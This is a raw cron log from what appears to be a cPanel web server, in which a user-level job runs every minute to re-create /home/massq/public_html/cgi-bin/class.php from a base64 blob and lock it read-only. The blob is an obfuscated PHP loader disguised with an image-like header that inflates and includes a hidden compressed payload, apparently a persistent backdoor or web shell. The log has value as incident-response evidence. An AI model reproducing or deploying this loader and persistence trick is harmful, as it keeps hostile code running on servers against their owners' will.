Nov 10 16:45:01 server CROND[27405]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:45:01 server CROND[27406]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 16:45:01 server CROND[27407]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 16:46:01 server CROND[28309]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:47:01 server CROND[29117]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:48:01 server CROND[30022]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:49:01 server CROND[30842]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:50:01 server CROND[31946]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 16:50:01 server CROND[31948]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 16:50:01 server CROND[31950]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 16:50:01 server CROND[31949]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 16:50:01 server CROND[31951]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:51:01 server CROND[373]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:52:01 server CROND[1050]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:53:01 server CROND[1885]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:54:01 server CROND[2727]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:55:01 server CROND[3647]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 16:55:01 server CROND[3648]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 16:55:01 server CROND[3649]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:56:01 server CROND[4522]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:57:01 server CROND[5341]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 16:57:01 server CROND[5342]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
